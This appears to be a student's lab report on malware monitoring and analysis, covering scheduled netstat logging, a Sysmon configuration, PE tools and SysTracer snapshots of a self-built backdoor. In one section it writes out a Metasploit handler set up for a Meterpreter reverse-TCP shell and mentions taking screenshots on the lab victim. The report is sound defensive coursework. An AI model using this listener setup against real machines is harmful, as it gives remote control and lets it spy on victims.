20145120《网络对抗》恶意代码分析

20145120《网络对抗》恶意代码分析

Windows计划任务schtasks

在命令提示符输入schtasks /create /TN netstat /sc MINUTE /MO 5 /TR "cmd /c netstat -bn > c: etstatlog.txt"新建计划任务

新建netstatlog.bat文件,内容如下:

date /t >> c:
etstatlog.txt
time /t >> c:
etstatlog.txt
netstat -bn >> c:
etstatlog.txt

期间我不小心在命令行输入了这三条命令还产生了效果。。。

查看计划任务,点两下创建时间,筛选一下就可以轻易找到之前新建的任务,编辑一下,把操作改成c: etstatlog.bat

放着不管,一天之后。。。。。。没变化。

额,我之前忘了用管理员权限的命令提示符了,哎浪费时间了,在计划任务里勾上“使用最高权限运行”的选项

一段时间后成功看到了变化

用多种工具进行静态分析

因为自己其实也没怎么学会如何用好以下软件,我就简单提一下

使用PEid打开文件,可以看到文件的入口点,编译软件等

使用PEexplorer,可以看到文件的编译时间等基本信息,文件节信息,导入导出表等等

此外还有PEview、PEBrowse Professional、Resource Hacker、Dependency Walker等软件都可以用于分析PE文件,各有所长,我也不太会用,不细讲了

还可以用http://www.virscan.org/等网站分析,参考免杀原理与实践

用sysmon工具监控系统

安装工具

新建内容如下的配置文件Sysmoncfg.txt

<Sysmon schemaversion="3.10">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <DriverLoad onmatch="exclude">
      <Signature condition="contains">microsoft</Signature>
      <Signature condition="contains">windows</Signature>
    </DriverLoad>

    <NetworkConnect onmatch="exclude">
      <Image condition="end with">chrome.exe</Image>
      <Image condition="end with">iexplorer.exe</Image>
      <SourcePort condition="is">137</SourcePort>
      <SourceIp condition="is">127.0.0.1</SourceIp>
    </NetworkConnect>

    <CreateRemoteThread onmatch="include">
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

想了一下,把拓展名改成xml的同时改个有特色的文件名20145120cfg

用管理员权限打开命令提示符,进入对应文件夹,输入sysmon.exe -i 20145120cfg.xml

打开任务管理器,看到Sysmon服务已经开始了。

哇,短短时间就200+的日志了。。。额筛选一下联网的事件试试

额,看到一个熟悉的名字,Svchost.exe进程,用于微软系统自身联网升级更新啥的,有次室友正在进行紧张激烈的电子竞技,突然很卡,然后发现我正在高速下载,我(?_?),没啊,这锅我不背,我冒着生命危险,赶紧看了一下任务管理器,没错,找到的就是它——Svchost.exe

开始分析恶意代码

用的就是免杀原理与实践中的恶意代码

先启动kali虚拟机,依次输入以下命令进行监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.253.129
set LPORT 5120
exploit

之后使用shell命令获取命令提示符试试。

这时候可以打开事件查看器查看事件了。
用关键字"bd.exe",查找一下,有进程创建事件,联网事件等
创建进程

联网,看到了我kali机的IP

命令行的进程

用SysTracer动态分析恶意代码

用的还是之前的恶意代码,回连kali机攻击过程如下

在win10靶机安装好SysTracer工具,选择要记录的项目,拍下第一张快照Snapshot #1

启动后门程序bd.exe,确定已回连kali攻击机后拍下第二张快照Snapshot #2
在kali机进行攻击,本来想试试给自己拍个照webcam_snap,但失败了,来张截屏吧screenshot,之后拍下快照Snapshot #3
shell获取windows命令提示符,之后拍下快照Snapshot #4

比较各快照的不同,选择显示不同的项"only differences",可能是因为我开的程序比较多,数据很多啊,看的我头都大了,不是很懂啊
选择1,2两个快照比较,可以看到多个注册表项、文件、进程修改过了,不过看到了bd.exe进程开始了

比较2,3两个快照,我找了很久找到一个操作过Microsoft Video for Windows的dll文件的痕迹,操作真不少,感觉不是我有目的性的找关于屏幕截图、文件操作的话很难分析啊

比较3,4两个快照比较,这次比较顺利,很快找到了cmd.exe运行的痕迹

唉,恶意代码分析真是个累人的工作

实验后回答问题

1.如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

用sysmon工具或其他类似工具(windows自带的计划任务等),考虑好适当的过滤规则编写好适当的配置文件,然后导出日志进行分析。

2.如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

用SysTracer工具或其他类似工具,在虚拟机中运行该程序,并进行快照,比较快照进行分析。

实验体会

这次实践中我们自己加壳的后门程序,运行了这么久我360毫无反应,要不是学过了,估计以后只能亡羊补牢。就算学过了监控自己的系统,感觉要是系统里有后门也很难发现,毕竟数据量大。借用一句话,社会是真的险恶啊。

原文地址:https://www.cnblogs.com/20145120hxx/p/6663936.html